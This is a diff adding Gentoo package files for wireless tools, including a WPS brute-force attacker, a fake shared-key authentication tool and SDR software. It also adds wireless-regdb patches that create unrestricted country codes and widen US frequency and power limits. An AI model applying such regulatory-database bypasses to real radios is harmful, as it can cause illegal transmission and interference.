@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+ dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+ epatch "${FILESDIR}"/000[1-4]*.patch
+ #http://code.google.com/p/reaver-wps/issues/detail?id=420
+ epatch "${FILESDIR}"/0005-soreau-show-status-r2.patch
+}
+
+src_install() {
+ dobin wash reaver
+
+ insinto "/etc/reaver"
+ doins reaver.db
+
+ doman ../docs/reaver.1.gz
+ dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/rfidtool/Manifest b/net-wireless/rfidtool/Manifest
new file mode 100644
index 00000000..e784b407
--- /dev/null
+++ b/net-wireless/rfidtool/Manifest
@@ -0,0 +1,2 @@
+DIST rfidtool-v0.01.tar.bz2 10125 RMD160 39ab91605c3438b276a8999a7a7ef3dbae5e5544 SHA1 c60185355c6f42972aff86662c4be55a91b97dd6 SHA256 e7e61aa434634121323d0a02435c09b37e0bddab9dd517d4fdfeb1fcb018e5f7
+EBUILD rfidtool-0.01.ebuild 568 RMD160 b17c684f7ad5a1687ab2e83d5f6f965a41a1ba1c SHA1 7c16e0d424fefbce4152215e949ca0ed1636ed34 SHA256 33788a745b376144f24dc039e2061205d6a0ded725a6b6b2efadc97a5230c474
diff --git a/net-wireless/rfidtool/rfidtool-0.01.ebuild b/net-wireless/rfidtool/rfidtool-0.01.ebuild
new file mode 100644
index 00000000..ce66d2fe
--- /dev/null
+++ b/net-wireless/rfidtool/rfidtool-0.01.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="command line rfid interface"
+HOMEPAGE="http://www.bindshell.net/tools/rfidtool"
+SRC_URI="http://www.bindshell.net/tools/rfidtool/$PN-v$PV.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+S="${WORKDIR}"/$PN-v$PV
+
+src_compile() {
+ gcc $CFLAGS main.c rfid.c -o rfidtool || die "compile failed"
+}
+
+src_install() {
+ dobin rfidtool || die "install failed"
+ dodoc README || die "doc install failed"
+}
diff --git a/net-wireless/sdrsharp/ChangeLog b/net-wireless/sdrsharp/ChangeLog
new file mode 100644
index 00000000..d3fa3b78
--- /dev/null
+++ b/net-wireless/sdrsharp/ChangeLog
@@ -0,0 +1,12 @@
+# ChangeLog for net-wireless/sdrsharp
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/ChangeLog,v 1.2 2012/09/10 06:11:56 zerochaos Exp $
+
+ 10 Sep 2012; Rick Farina <zerochaos@gentoo.org> sdrsharp-9999.ebuild:
+ fixed incorrect license thanks to chithanh for noticing
+
+*sdrsharp-9999 (10 Sep 2012)
+
+ 10 Sep 2012; Rick Farina <zerochaos@gentoo.org> +files/sdrsharp,
+ +metadata.xml, +sdrsharp-9999.ebuild:
+ initial import of sdrsharp
diff --git a/net-wireless/sdrsharp/Manifest b/net-wireless/sdrsharp/Manifest
new file mode 100644
index 00000000..368ad8ae
--- /dev/null
+++ b/net-wireless/sdrsharp/Manifest
@@ -0,0 +1,4 @@
+AUX sdrsharp 52 SHA256 db62034968b056410d8b90b3e77325cf869529d09535c549b403586905a4fee4 SHA512 ba371fb47ee0fc5f5dc912879631b0623ed0c6f3386e903da1e23320030e882ad677b098bd6ab640cdca19db474035fe65afd094e9a37725c66bc74c3478ca28 WHIRLPOOL b2d7c4251fa7324100982b7c6d35806ca536bc22d42129e6848dffd2529d0175b19cd24900b9b167f97ba9802b30c2a98592936ed8a76eb9f494b01c57ad8497
+EBUILD sdrsharp-9999.ebuild 1098 SHA256 779310b2e2af7b6ff80be2373ee118fb20ed2c3e3936b1913e99ed03771f52af SHA512 75f79986595fbf8acd3890fda4574d7c47be96bbb92c764c4d0d934ffbec7f856f0103f16278b3917c236a9f721acea95dcb0af661f6ddfc07fb5cbc6d0dd0d8 WHIRLPOOL c62076760e12da2cce1947372903e34b03b5c9b0edadb9528b7afad38b63cd026879132b615e148c23fe853a532a915eb9b95ca39f28cdedede78c65cfd8c4c2
+MISC ChangeLog 515 SHA256 16b73205e3d9a15415930ae273ac7dfea35c13d8e23613f966b13b0bcce03cdb SHA512 88264237fc38f7ec34ffdbc3e0c22c0f691463bd8f56561fc6d03d9ad9c21efb83b1c43a3902dda602bb3034b826410e5eccd8e2c3f7fd99778afb022219a2a0 WHIRLPOOL 9b7ad2565a3206929d879b20eb663bd063c9c68e1d5df143ae8ecf2a724e8e4a5b473480b6521bc999f3ea3b5d610806bc652aca85a3b161f0d66d65c928cbaf
+MISC metadata.xml 296 SHA256 5f05908fd92afd7e7bbbc1eca7a7251a783f381fd6fffbde25dd8514d27a0fc2 SHA512 b35a8935028bb79974ce95950ccff8126cd6cae56babbf9f4e78057addc7fd46e88c360427a3f1034d4789b2758de7382eaeb721b676b9f2d07bdeadbeae01cc WHIRLPOOL cce56133bbed06d2abf31898d7cd4b334bc4343ba64fa1e5cf96e7fe9c0303fe3ca5381b9d731086af49f8ea978462ffd73b7459982302eb6fde8edcb89648cf
diff --git a/net-wireless/sdrsharp/files/sdrsharp b/net-wireless/sdrsharp/files/sdrsharp
new file mode 100644
index 00000000..c7956895
--- /dev/null
+++ b/net-wireless/sdrsharp/files/sdrsharp
@@ -0,0 +1,2 @@
+#!/bin/sh
+mono /usr/GETLIBDIR/sdrsharp/SDRSharp.exe
diff --git a/net-wireless/sdrsharp/metadata.xml b/net-wireless/sdrsharp/metadata.xml
new file mode 100644
index 00000000..50b2373a
--- /dev/null
+++ b/net-wireless/sdrsharp/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>radio</herd>
+<maintainer>
+ <email>zerochaos@gentoo.org</email>
+ <name>Rick Farina</name>
+</maintainer>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
+
diff --git a/net-wireless/sdrsharp/sdrsharp-9999.ebuild b/net-wireless/sdrsharp/sdrsharp-9999.ebuild
new file mode 100644
index 00000000..daceb459
--- /dev/null
+++ b/net-wireless/sdrsharp/sdrsharp-9999.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/sdrsharp-9999.ebuild,v 1.2 2012/09/10 06:11:56 zerochaos Exp $
+
+EAPI=4
+
+inherit subversion
+
+DESCRIPTION="simple, intuitive, small and fast DSP application for SDR"
+HOMEPAGE="http://sdrsharp.com/"
+ESVN_REPO_URI="https://subversion.assembla.com/svn/sdrsharp/trunk"
+
+LICENSE="MIT MS-RSL"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+#The MS-RSL license forbid modification and redistribution
+RESTRICT="mirror bindist"
+
+DEPEND="dev-lang/mono
+ media-libs/portaudio
+ net-wireless/rtl-sdr"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+ xbuild /t:Rebuild /p:Configuration=Release SDRSharp.sln
+}
+
+src_install() {
+ cd "${S}"/Release
+
+ #remove windows only stuff
+ sed -i -e "/FUNcube/d" SDRSharp.exe.config
+ sed -i -e "/SoftRock/d" SDRSharp.exe.config
+ rm -f SDRSharp.FUNcube.dll SDRSharp.SoftRock.dll
+
+ #install
+ insinto /usr/$(get_libdir)/${PN}
+ doins SDRSharp.exe* *.dll
+ dobin "${FILESDIR}"/sdrsharp
+ sed -i "s#GETLIBDIR#$(get_libdir)#" "${ED}"/usr/bin/sdrsharp
+}
diff --git a/net-wireless/ska/Manifest b/net-wireless/ska/Manifest
new file mode 100644
index 00000000..e2de8563
--- /dev/null
+++ b/net-wireless/ska/Manifest
@@ -0,0 +1,2 @@
+DIST ska-0.2.tar.bz2 13201 RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 SHA1 94a0a1069b5179e9b3017e54d8ae2b157c1bb9bb SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165
+EBUILD ska-0.2.ebuild 478 RMD160 92ae16f5b32db603631462fb078d07be44b49e86 SHA1 4b48fdf5ee1ae21b9b06c185c7a51494e9b0e50c SHA256 449d1fafee1e4af0040ba1bb9a0a986a226e4704d2779a6135ba59f39f5879e7
diff --git a/net-wireless/ska/files/digest-ska-0.2 b/net-wireless/ska/files/digest-ska-0.2
new file mode 100644
index 00000000..41941f52
--- /dev/null
+++ b/net-wireless/ska/files/digest-ska-0.2
@@ -0,0 +1,3 @@
+MD5 6e1a6708dca383b28b7de5052e4a8dc9 ska-0.2.tar.bz2 13201
+RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 ska-0.2.tar.bz2 13201
+SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165 ska-0.2.tar.bz2 13201
diff --git a/net-wireless/ska/ska-0.2.ebuild b/net-wireless/ska/ska-0.2.ebuild
new file mode 100644
index 00000000..bd1bc36f
--- /dev/null
+++ b/net-wireless/ska/ska-0.2.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="Fake Shared Key Authentication"
+HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/"
+SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND=""
+
+src_compile() {
+ gcc $CFLAGS -o ska ska.c
+}
+
+src_install() {
+ dobin ska || die "install failed"
+ dodoc README
+}
diff --git a/net-wireless/virtualradar-bin/Manifest b/net-wireless/virtualradar-bin/Manifest
new file mode 100644
index 00000000..1889881b
--- /dev/null
+++ b/net-wireless/virtualradar-bin/Manifest
@@ -0,0 +1,5 @@
+AUX virtualradar 54 SHA256 5fd9d4dccd410ac4091ea48ab0cd7b2ae34627d8b96b25748cf1579ef1d49755 SHA512 57c5064cd8e58659a942523f76796ffa5ae38d88ea7aea97d0858a2cc0fabe6504a77fc342ee5e5a20f1265136934ab9634dbaa39f6048ce50e722d37dd26382 WHIRLPOOL bbb940f264ffaf91045421dce1e32d6f0bbc717c178ee92efb20d056472f75b66bcd08292458bf4ec0db48364116f4e39f259e7c1d382dac9b931e6a24872a6d
+DIST VirtualRadar.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf
+DIST virtualradar-bin-1.0.5.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf
+EBUILD virtualradar-bin-1.0.5.ebuild 584 SHA256 465f66d43284fe1e8440f70f54233cf47605bd5bf07eab22ba4be783b0cc2833 SHA512 e2c43aaaa6b9499ef0f91f2b092e7be7d3c7988856b5320462d8188d1d682c67bc1e64c07ed8dc12eeed53d98219f9d49e40a198e1594a57134b126c3efff59b WHIRLPOOL 02b1b0149341dde91a755921aca61aaa4494f3e2da693fb8cd89ec3ce7bdbbaedeeb87ad932aa999de46b7ef3b021dc3c71ce8ff5df8cf7763f4da0b403d31b0
+EBUILD virtualradar-bin-9999.ebuild 507 SHA256 bf28e88b46e5706d147a50660d3ea55024880ec9389a40553d75ce56376c622f SHA512 4e2f49b920c1f9c3acbf221a43bd7db2c68ea77de79c409da243d836d7cef04354444bf7ef290402de409b05a5459d341949bb7bcd3b6220860843f890846056 WHIRLPOOL 238fa244e3631acf20080e9afda5c2ff193aaa7ae11c86b2f00b2f550cc0b48821d1b7c3930040fda84635d126ec0bd791278621b26a310a337728b1aaaa6983
diff --git a/net-wireless/virtualradar-bin/files/virtualradar b/net-wireless/virtualradar-bin/files/virtualradar
new file mode 100644
index 00000000..9cb36031
--- /dev/null
+++ b/net-wireless/virtualradar-bin/files/virtualradar
@@ -0,0 +1,2 @@
+#!/bin/sh
+mono /opt/virtualradar-bin/VirtualRadar.exe
diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild
new file mode 100644
index 00000000..514a011b
--- /dev/null
+++ b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Open-source .NET application for ads-b mapping"
+HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx"
+#SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz"
+SRC_URI="http://dev.gentoo.org/~zerochaos/distfiles/${P}.tar.gz"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}
+ dev-lang/mono"
+
+S="${WORKDIR}"
+
+src_install() {
+ insinto /opt/${PN}
+ doins *
+ dobin "${FILESDIR}"/virtualradar
+}
diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild
new file mode 100644
index 00000000..1871bf93
--- /dev/null
+++ b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Open-source .NET application for ads-b mapping"
+HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx"
+SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}
+ dev-lang/mono"
+
+S="${WORKDIR}"
+
+src_install() {
+ insinto /opt/${PN}
+ doins *
+ dobin "${FILESDIR}"/virtualradar
+}
diff --git a/net-wireless/wifitap/Manifest b/net-wireless/wifitap/Manifest
new file mode 100644
index 00000000..746a2a48
--- /dev/null
+++ b/net-wireless/wifitap/Manifest
@@ -0,0 +1,2 @@
+DIST wifitap-0.4.0.tgz 110612 RMD160 808e709050a92cf88f73ca7c79700e9f8bf776fb SHA1 54d605c021192fb4b1b34f0b37b95b7c8fe4df71 SHA256 5029b4b80e66844e6109ee9840e70a90e453bd4e5169d9e903eaef599d15162e
+EBUILD wifitap-0.4.0-r4.ebuild 976 RMD160 65bb71232ad5c817601118e23646fd1e49dc3343 SHA1 2ecc24568b9ce7288fa4bf8b017aa3356859a594 SHA256 cce9376a34979a384c889a04a540951871cbb338175251286f5a678ca7efeb01
diff --git a/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild
new file mode 100644
index 00000000..9894af10
--- /dev/null
+++ b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/wifitap/wifitap-0.3.7.ebuild,v 1.1.1.1 2006/03/29 19:41:59 grimmlin Exp $
+
+inherit python
+
+DESCRIPTION="A wireless tool to do direct connection to client without passing through an AP"
+HOMEPAGE="http://sid.rstack.org/index.php/Wifitap_EN"
+SRC_URI="http://sid.rstack.org/code/${PN}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="<net-analyzer/scapy-2.0
+ dev-python/gnuplot-py
+ dev-python/pyx"
+
+S=${WORKDIR}/${PN}
+
+src_install() {
+ exeinto /usr/bin
+ newexe wifitap.py wifitap
+ newexe wifidns.py wifidns
+ newexe wifiping.py wifiping
+
+ # also install scapy as a importable python module
+ insinto /usr/$(get_libdir)/python$(python_get_version)/site-packages
+ rm scapy.py
+ doins *.py
+
+ dodoc AUTHORS README Changelog BUGS TODO
+}
+
+pkg_postinst() {
+ python_mod_optimize
+}
+
+pkg_postrm() {
+ python_mod_cleanup
+}
diff --git a/net-wireless/wireless-regdb/Manifest b/net-wireless/wireless-regdb/Manifest
new file mode 100644
index 00000000..7302ff74
--- /dev/null
+++ b/net-wireless/wireless-regdb/Manifest
@@ -0,0 +1,13 @@
+AUX extra-monitor-20090817.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872
+AUX extra-monitor-20091125.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872
+AUX extra-monitor-debug.patch 1036 RMD160 8100c465b61bfd45781cc6531d74614cfab8e929 SHA1 2b91e5367e82356ab72819432696695fa5354b1e SHA256 57f94302847d7a16cbfd7150cfa91ccebfc2ce752a6a41e223ffcb6599d5592a
+AUX extra-monitor.patch 721 RMD160 eecf971cc407b8d34903b3d8667ac93fe86d1876 SHA1 8e2bf69309d6188f2a789180743a72c0f7c74dc2 SHA256 78752000995d1edd69d7584fd98bcde439fb1e1de4ecdfe6eeec4ca7d8d855f9
+DIST wireless-regdb-2009.01.30.tar.bz2 11515 RMD160 56ec08a66db2795afef93271d0c93178ac9130ca SHA1 280935c9428d353a9d50a0bfa533fc187ccfe6cb SHA256 8b86eeab87497b708b2ec590ebf32659244dbfba57d33329ce0310c8564dd75b
+DIST wireless-regdb-2009.03.09.tar.bz2 11855 RMD160 e1f4f9c64ddfcd9374f8ac5327203e1e048a6d10 SHA1 f823eeb0c637fee9c705fc7112b33fc9eb55fa4a SHA256 794c5f7d59cd83ba6fe33ef5a25cd28fa655f395df43b648157ccec2fe5faf35
+DIST wireless-regdb-2009.08.17.tar.bz2 12745 RMD160 21ebefcd8d8aefd3b559f432f0948a763144ded4 SHA1 ab87bfd0b2f26a8e1213da16ce2add47c831ac66 SHA256 6b1e39bec4c1122e5639e979f2632430e41a2acac8ba251a13bf5c953f4775a1
+DIST wireless-regdb-2009.11.25.tar.bz2 12844 RMD160 a129a77e700b42de339e6c1891d51e729349fbe0 SHA1 c8afeffc4ad4f292d43551ce1c5c20e8aa559c34 SHA256 b9d569a41f66323339b7aa203db6e2d8f39c98192f134b5eef2135cf09cd943f
+EBUILD wireless-regdb-20090130-r1.ebuild 1064 RMD160 d428dcb67fc6876fd01dac56c2e60d38738f3349 SHA1 e3693e277f12e3c6a77b1fa0c992f09590b8aef7 SHA256 83446433160c2d15e6a53c4920c31bdf425b91d6d1008a8536c98e9c34121780
+EBUILD wireless-regdb-20090309.ebuild 1006 RMD160 c26e06edb51e763c2fa95af9a38587290282651f SHA1 b94515d5cb3bfe26e5bfc2dbc4d96891bacfe685 SHA256 39e29e13e7eddfb5570cb271f98ba906d0a47b6657dd500936c2d7e9620fce68
+EBUILD wireless-regdb-20090817.ebuild 967 RMD160 3222490393c947c8987b8eaa0cd49afccb571093 SHA1 cb40eafba2712c64848952800866608f6d48f3a5 SHA256 2d55b76432f181ff4493f039758ad28662fb66281205deb7ac391bb00069191d
+EBUILD wireless-regdb-20091125-r1.ebuild 1026 RMD160 1498ca1c83692114a1d0ec0ad7c2bbafed34e5ed SHA1 09bf32b8e6bae577f150c1f14d49aabff1324e4b SHA256 06d1670201529a7a19d2c6c45fe66484cc02cba66fae27156f6806ce81e5944e
+EBUILD wireless-regdb-20091125.ebuild 1047 RMD160 3743bae6a7f8e2b34ca3f5d14f14bf7a9d29859b SHA1 31e45b23b1f41c24ad921505141e673a0cf201b9 SHA256 a237766fe331196ba58fe29ba332495f2924f3e16724430f9d023f2f298e6b81
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch
new file mode 100644
index 00000000..9f06e473
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch
@@ -0,0 +1,51 @@
+diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt
+--- wireless-regdb-2009.08.17-orig/db.txt 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/db.txt 2009-09-07 20:44:51.000000000 -0400
+@@ -579,6 +579,13 @@
+ country VN:
+ (2402 - 2482 @ 40), (N/A, 20)
+
++country XN:
++ (2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
++
+ country YE:
+ (2402 - 2482 @ 40), (N/A, 20)
+
+diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile
+--- wireless-regdb-2009.08.17-orig/Makefile 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/Makefile 2009-09-07 20:45:53.000000000 -0400
+@@ -18,8 +18,8 @@
+ echo custom-distro; \
+ fi)
+
+-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
+
+ REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \
+ echo $(LSB_ID) ; \
+@@ -29,7 +29,7 @@
+ echo custom-user; \
+ fi)
+
+-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
+ REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem
+
+ REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem
+@@ -91,8 +91,8 @@
+ # Distributions packagers should do only once:
+ # make install-distro-key
+ # This will create a private key for you and install it into
+-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-# To make new releaes just do:
++# wireless-regdb-$(LSB_ID).key.priv.pem
++# To make new releases just do:
+ # make maintainer-clean
+ # make
+ # sudo make install
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch
new file mode 100644
index 00000000..9f06e473
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch
@@ -0,0 +1,51 @@
+diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt
+--- wireless-regdb-2009.08.17-orig/db.txt 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/db.txt 2009-09-07 20:44:51.000000000 -0400
+@@ -579,6 +579,13 @@
+ country VN:
+ (2402 - 2482 @ 40), (N/A, 20)
+
++country XN:
++ (2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
++
+ country YE:
+ (2402 - 2482 @ 40), (N/A, 20)
+
+diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile
+--- wireless-regdb-2009.08.17-orig/Makefile 2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/Makefile 2009-09-07 20:45:53.000000000 -0400
+@@ -18,8 +18,8 @@
+ echo custom-distro; \
+ fi)
+
+-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
+
+ REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \
+ echo $(LSB_ID) ; \
+@@ -29,7 +29,7 @@
+ echo custom-user; \
+ fi)
+
+-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
+ REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem
+
+ REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem
+@@ -91,8 +91,8 @@
+ # Distributions packagers should do only once:
+ # make install-distro-key
+ # This will create a private key for you and install it into
+-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-# To make new releaes just do:
++# wireless-regdb-$(LSB_ID).key.priv.pem
++# To make new releases just do:
+ # make maintainer-clean
+ # make
+ # sudo make install
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-debug.patch b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch
new file mode 100644
index 00000000..bb20f867
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch
@@ -0,0 +1,34 @@
+diff -Naur wireless-regdb-2009.03.09-orig/db.txt wireless-regdb-2009.03.09/db.txt
+--- wireless-regdb-2009.03.09-orig/db.txt 2009-03-12 09:53:34.000000000 -0400
++++ wireless-regdb-2009.03.09/db.txt 2009-03-12 10:27:39.000000000 -0400
+@@ -551,11 +551,16 @@
+ (2402 - 2482 @ 40), (N/A, 20)
+
+ country US:
+- (2402 - 2472 @ 40), (3, 27)
++ (2182 - 2402 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS
++ (2402 - 2472 @ 40), (6, 30)
++ (2472 - 3500 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS
++ (3500 - 5170 @ 40), (3, 17), PASSIVE-SCAN, NO-IBSS
+ (5170 - 5250 @ 40), (3, 17)
+ (5250 - 5330 @ 40), (3, 20), DFS
++ (5330 - 5490 @ 40), (3, 20), PASSIVE-SCAN, NO-IBSS
+ (5490 - 5710 @ 40), (3, 20), DFS
+ (5735 - 5835 @ 40), (3, 30)
++ (5835 - 7010 @ 40), (3, 30), PASSIVE-SCAN, NO-IBSS
+
+ country UY:
+ (2402 - 2482 @ 40), (N/A, 20)
+@@ -575,6 +580,12 @@
+ country VN:
+ (2402 - 2482 @ 40), (N/A, 20)
+
++country XN:
++ (2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
+ country YE:
+ (2402 - 2482 @ 40), (N/A, 20)
+
diff --git a/net-wireless/wireless-regdb/files/extra-monitor.patch b/net-wireless/wireless-regdb/files/extra-monitor.patch
new file mode 100644
index 00000000..b026a2f1
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor.patch
@@ -0,0 +1,19 @@
+diff -Naur wireless-regdb-2009.01.30/db.txt wireless-regdb-2009.01.30-zc/db.txt
+--- wireless-regdb-2009.01.30/db.txt 2009-02-10 15:54:30.000000000 -0500
++++ wireless-regdb-2009.01.30-zc/db.txt 2009-02-10 15:56:59.000000000 -0500
+@@ -540,11 +540,15 @@
+ (2402 - 2482 @ 40), (N/A, 20)
+
+ country US:
++ (2182 - 2402 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ (2402 - 2472 @ 40), (3, 27)
++ (2472 - 5170 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ (5170 - 5250 @ 40), (3, 17)
+ (5250 - 5330 @ 40), (3, 20), DFS
++ (5330 - 5490 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ (5490 - 5710 @ 40), (3, 20), DFS
+ (5735 - 5835 @ 40), (3, 30)
++ (5835 - 7000 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+
+ country UY:
+ (2402 - 2482 @ 40), (N/A, 20)
